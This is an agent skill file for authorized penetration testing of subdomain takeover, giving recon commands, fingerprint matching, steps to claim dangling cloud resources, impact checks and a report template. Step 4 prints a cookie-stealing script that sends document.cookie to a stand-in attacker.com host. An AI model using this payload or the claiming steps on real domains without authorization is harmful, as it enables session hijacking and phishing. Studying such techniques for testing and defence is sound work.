exploiting-subdomain-takeover-vulnerabilities

$npx mdskill add xalgord/xalgorix/exploiting-subdomain-takeover-vulnerabilities

- During authorized penetration tests when subdomain enumeration reveals CNAME or A records pointing to external services - When cloud service endpoints return "not found" or "no such bucket" error pages - For assessing organizations with large subdomain footprints (100+ subdomains) - When evaluating DNS hygiene and decommissioned service cleanup - During bug bounty programs where subdomain takeover is in scope

SKILL.md

.github/skills/exploiting-subdomain-takeover-vulnerabilitiesView on GitHub ↗
---
name: exploiting-subdomain-takeover-vulnerabilities
description: Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- subdomain-takeover
- dns
- cloud-security
- web-security
- bug-bounty
version: '1.0'
author: xalgord
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- DE.CM-01
---

# Exploiting Subdomain Takeover Vulnerabilities

## When to Use

- During authorized penetration tests when subdomain enumeration reveals CNAME or A records pointing to external services
- When cloud service endpoints return "not found" or "no such bucket" error pages
- For assessing organizations with large subdomain footprints (100+ subdomains)
- When evaluating DNS hygiene and decommissioned service cleanup
- During bug bounty programs where subdomain takeover is in scope

### How to CONFIRM a Hit (avoid false negatives)

- **Positive signal**: the dangling CNAME/resource is **actually claimable** AND you serve your own content on it — confirm by claiming the resource with a **benign canary** and fetching the subdomain to see your marker, or by the third-party returning its specific **unclaimed fingerprint**.
- A `404` or generic error is NOT proof. Many services return 404 while still being owned/unclaimable; match the **exact service fingerprint** from `can-i-take-over-xyz`.
- Do NOT conclude "vulnerable" (or "safe") until you have:
  - Resolved the **full CNAME chain** (`dig +short CNAME`) — any hop could be the dangling one, and intermediate hops can mask the real target.
  - Matched the response against the **service-specific fingerprint** (NoSuchBucket, "There isn't a GitHub Pages site here", "No such app", Fastly/Shopify/Surge strings) rather than relying on status code alone.
  - Verified the service **actually allows claiming** that name now (some "vulnerable" fingerprints are no longer registrable — e.g. modern Azure/AWS require domain verification).
  - Performed the **benign canary claim** and confirmed your content is served over the real subdomain, then documented and cleaned up.
  - Assessed impact (cookie scope `.target.com`, OAuth redirect/CORS trust) so the finding reflects real risk, not just content control.

## Prerequisites

- **Authorization**: Written penetration testing agreement covering subdomain takeover testing
- **subjack**: Subdomain takeover checker (`go install github.com/haccer/subjack@latest`)
- **nuclei**: With takeover detection templates
- **can-i-take-over-xyz**: Reference database of takeover-vulnerable services
- **subfinder/amass**: For subdomain enumeration (prerequisite step)
- **dig/host**: For DNS record analysis
- **Cloud accounts**: AWS, Azure, GCP, Heroku, etc. for claiming unclaimed resources

## Workflow

### Step 1: Enumerate Subdomains and Collect DNS Records

Gather all subdomains and their DNS resolution data.

```bash
# Enumerate subdomains (should already be done in Phase 1)
subfinder -d target.com -silent -o subdomains.txt
amass enum -passive -d target.com -o amass-subs.txt
cat subdomains.txt amass-subs.txt | sort -u > all-subs.txt

# Resolve all subdomains and collect CNAME records
echo "=== CNAME Records ==="
while read sub; do
  cname=$(dig +short CNAME "$sub" 2>/dev/null)
  if [ -n "$cname" ]; then
    echo "$sub -> $cname"
  fi
done < all-subs.txt | tee cname-records.txt

# Check for NXDOMAIN responses (dangling records)
echo "=== NXDOMAIN / Dead Subdomains ==="
while read sub; do
  result=$(dig +short "$sub" 2>/dev/null)
  if [ -z "$result" ]; then
    cname=$(dig +short CNAME "$sub" 2>/dev/null)
    echo "DEAD: $sub (CNAME: ${cname:-none})"
  fi
done < all-subs.txt | tee dead-subs.txt

# Check HTTP responses for takeover indicators
echo "=== HTTP Response Check ==="
httpx -l all-subs.txt -sc -title -server -o httpx-results.txt
grep -E "404|NoSuchBucket|There isn't a GitHub Pages|herokucdn" httpx-results.txt
```

### Step 2: Identify Takeover-Vulnerable Services

Match CNAME targets against known vulnerable service fingerprints.

```bash
# Automated takeover detection with subjack
subjack -w all-subs.txt -t 50 -timeout 30 -ssl \
  -c ~/go/pkg/mod/github.com/haccer/subjack@*/fingerprints.json \
  -o subjack-results.txt -v

# Nuclei takeover detection
nuclei -l all-subs.txt -tags takeover -severity info,low,medium,high,critical \
  -o nuclei-takeover.txt

# Manual fingerprint matching
# Check each CNAME target against known vulnerable patterns
while read line; do
  sub=$(echo "$line" | cut -d' ' -f1)
  cname=$(echo "$line" | cut -d' ' -f3)
  
  echo -n "$sub ($cname): "
  response=$(curl -sk -m 10 "https://$sub" 2>/dev/null)
  
  # AWS S3
  echo "$response" | grep -qi "NoSuchBucket" && echo "VULNERABLE: S3 Bucket" && continue
  # GitHub Pages
  echo "$response" | grep -qi "There isn't a GitHub Pages site here" && echo "VULNERABLE: GitHub Pages" && continue
  # Heroku
  echo "$response" | grep -qi "No such app\|herokucdn.com/error-pages" && echo "VULNERABLE: Heroku" && continue
  # Azure
  echo "$response" | grep -qi "404 Web Site not found" && echo "POSSIBLE: Azure" && continue
  # Shopify
  echo "$response" | grep -qi "Sorry, this shop is currently unavailable" && echo "VULNERABLE: Shopify" && continue
  # Fastly
  echo "$response" | grep -qi "Fastly error: unknown domain" && echo "VULNERABLE: Fastly" && continue
  # Pantheon
  echo "$response" | grep -qi "404 error unknown site" && echo "VULNERABLE: Pantheon" && continue
  # Tumblr
  echo "$response" | grep -qi "There's nothing here\|tumblr.com" && echo "POSSIBLE: Tumblr" && continue
  # Unbounce
  echo "$response" | grep -qi "The requested URL was not found on this server" && echo "POSSIBLE: Unbounce" && continue
  # WordPress.com
  echo "$response" | grep -qi "Do you want to register" && echo "VULNERABLE: WordPress.com" && continue
  # Surge.sh
  echo "$response" | grep -qi "project not found" && echo "VULNERABLE: Surge.sh" && continue
  # Fly.io
  echo "$response" | grep -qi "404 Not Found.*fly" && echo "VULNERABLE: Fly.io" && continue
  # Netlify
  echo "$response" | grep -qi "Not Found - Request ID" && echo "POSSIBLE: Netlify" && continue
  # Zendesk
  echo "$response" | grep -qi "Help Center Closed\|Zendesk" && echo "POSSIBLE: Zendesk" && continue
  
  echo "NOT VULNERABLE or unknown service"
done < cname-records.txt
```

### Step 3: Verify and Exploit Takeover (Service-Specific)

Claim the unclaimed resource on each vulnerable service.

```bash
# === AWS S3 BUCKET TAKEOVER ===
# If CNAME points to: targetbucket.s3.amazonaws.com
# And response is: NoSuchBucket

# Create the bucket in the same region
aws s3 mb s3://targetbucket --region us-east-1
# Upload proof page
echo "<html><body><h1>Subdomain Takeover PoC - Authorized Test</h1>
<p>This subdomain (SUBDOMAIN) was taken over during an authorized penetration test.</p>
<p>Tester: YOUR_NAME | Date: $(date)</p></body></html>" > index.html
aws s3 cp index.html s3://targetbucket/index.html --acl public-read
aws s3 website s3://targetbucket --index-document index.html

# Verify takeover
curl -s "http://SUBDOMAIN.target.com"

# === GITHUB PAGES TAKEOVER ===
# If CNAME points to: org.github.io
# Create repo named "org.github.io" (or matching CNAME)
# Add CNAME file with the subdomain name
# Push index.html with PoC content

# === HEROKU TAKEOVER ===
# If CNAME points to: appname.herokuapp.com
heroku create appname
# Deploy PoC page
echo "<h1>Subdomain Takeover PoC</h1>" > index.html
git init && git add . && git commit -m "poc"
git push heroku main

# === AZURE TAKEOVER ===
# If CNAME points to: appname.azurewebsites.net
# Create Azure Web App with matching name
az webapp create --resource-group myRG --plan myPlan --name appname

# === SHOPIFY TAKEOVER ===
# If CNAME points to: shops.myshopify.com
# Create a Shopify store and add the subdomain as custom domain

# === GENERAL VERIFICATION ===
# After claiming, verify the subdomain resolves to your content
curl -sI "https://SUBDOMAIN.target.com" | head -10
curl -s "https://SUBDOMAIN.target.com" | grep "Takeover PoC"
```

### Step 4: Assess Impact and Escalation Potential

Determine the real-world impact beyond just content control.

```bash
# === COOKIE SCOPE ANALYSIS ===
# Check if parent domain sets cookies visible to subdomains
curl -sI "https://target.com" | grep -i "set-cookie"
curl -sI "https://www.target.com" | grep -i "set-cookie"
# If cookies are set for .target.com (dot-prefix), 
# the taken-over subdomain can READ and STEAL them

# === SESSION HIJACKING VIA COOKIE THEFT ===
# If parent domain cookies scope to .target.com:
# Deploy JavaScript on taken-over subdomain:
# <script>document.location="https://attacker.com/steal?c="+document.cookie</script>

# === SPF/DMARC BYPASS CHECK ===
# Can the taken-over subdomain send emails as target.com?
dig TXT target.com | grep -i "spf"
dig TXT _dmarc.target.com | grep -i "dmarc"
# If SPF includes the cloud service IP ranges, emails from
# the taken-over subdomain may pass SPF validation

# === OAUTH/SSO REDIRECT CHECK ===
# Check if any OAuth flows use the taken-over subdomain as redirect_uri
# This could enable authorization code theft

# === CORS ORIGIN CHECK ===
# Test if the main application trusts the taken-over subdomain
curl -sI -H "Origin: https://SUBDOMAIN.target.com" \
  "https://api.target.com/data" | grep -i "access-control"
# If Access-Control-Allow-Origin reflects the subdomain → data theft possible
```

### Step 5: Documentation and Cleanup

Document findings and clean up claimed resources.

```bash
# Take screenshots for proof
# Screenshot of DNS record showing CNAME
dig CNAME SUBDOMAIN.target.com

# Screenshot of taken-over page
curl -s "https://SUBDOMAIN.target.com"

# After reporting, CLEAN UP:
# S3: aws s3 rb s3://targetbucket --force
# Heroku: heroku apps:destroy appname --confirm appname
# GitHub: Delete the repository
# Azure: az webapp delete --name appname --resource-group myRG
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Dangling CNAME** | DNS CNAME record pointing to an unclaimed or decommissioned cloud service |
| **Subdomain Takeover** | Claiming an unclaimed cloud resource that a subdomain's DNS points to |
| **NXDOMAIN** | DNS response indicating the target hostname does not exist |
| **Cookie Scope** | Cookies set for `.domain.com` are accessible to all subdomains |
| **DNS Rebinding** | Related technique — changing DNS resolution to bypass same-origin policy |
| **Stale DNS** | DNS records that remain after the underlying service is decommissioned |
| **CNAME Chain** | Multiple CNAME hops where any link in the chain could be vulnerable |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **subjack** | Automated subdomain takeover vulnerability checker |
| **nuclei** | Template-based takeover detection across 50+ services |
| **can-i-take-over-xyz** | Reference database of vulnerable services and fingerprints |
| **dnsreaper** | Subdomain takeover tool supporting multiple DNS providers |
| **subzy** | Fast subdomain takeover checker with fingerprint database |
| **dnsx** | Fast DNS resolution toolkit for bulk lookups |
| **httpx** | HTTP probing with response fingerprinting |

## Common Scenarios

### Scenario 1: Decommissioned S3 Bucket
Company migrated from S3 to CloudFront but forgot to remove the CNAME `assets.target.com → target-assets.s3.amazonaws.com`. The bucket was deleted. Attacker creates a new bucket with the same name and serves malicious content on assets.target.com.

### Scenario 2: Expired Heroku App with Cookie Theft
`staging.target.com` pointed to a deleted Heroku app. After takeover, the attacker deploys a cookie-stealing page. Because the production app sets cookies for `.target.com`, visiting `staging.target.com` exfiltrates session tokens.

### Scenario 3: GitHub Pages Takeover for Phishing
`docs.target.com` CNAMEs to `targetorg.github.io`. The GitHub org renamed, leaving the old name unclaimed. Attacker creates a repo matching the old name and deploys a convincing login page for phishing.

## Output Format

```
## Subdomain Takeover Finding

**Vulnerability**: Subdomain Takeover via Dangling S3 CNAME
**Severity**: High (CVSS 8.1)
**Location**: assets.target.com
**DNS Record**: CNAME → target-assets.s3.amazonaws.com (NoSuchBucket)

### Reproduction Steps
1. dig CNAME assets.target.com → target-assets.s3.amazonaws.com
2. curl https://assets.target.com → "NoSuchBucket" error
3. Created S3 bucket: aws s3 mb s3://target-assets
4. Uploaded PoC: aws s3 cp index.html s3://target-assets/ --acl public-read
5. Verified: curl https://assets.target.com → PoC page served

### Impact
- Full content control of assets.target.com
- Cookie theft: parent domain sets cookies for .target.com (session hijacking)
- Credible phishing page on legitimate subdomain
- Potential CORS trust: api.target.com reflects assets.target.com as allowed origin

### Recommendation
1. Remove the dangling CNAME record from DNS immediately
2. Audit all DNS records for stale/unused entries monthly
3. Implement DNS monitoring for NXDOMAIN responses on owned subdomains
4. Use wildcard CNAME records cautiously — prefer explicit records
5. Set cookie scope as narrowly as possible (avoid .domain.com wildcards)
```

More from xalgord/xalgorix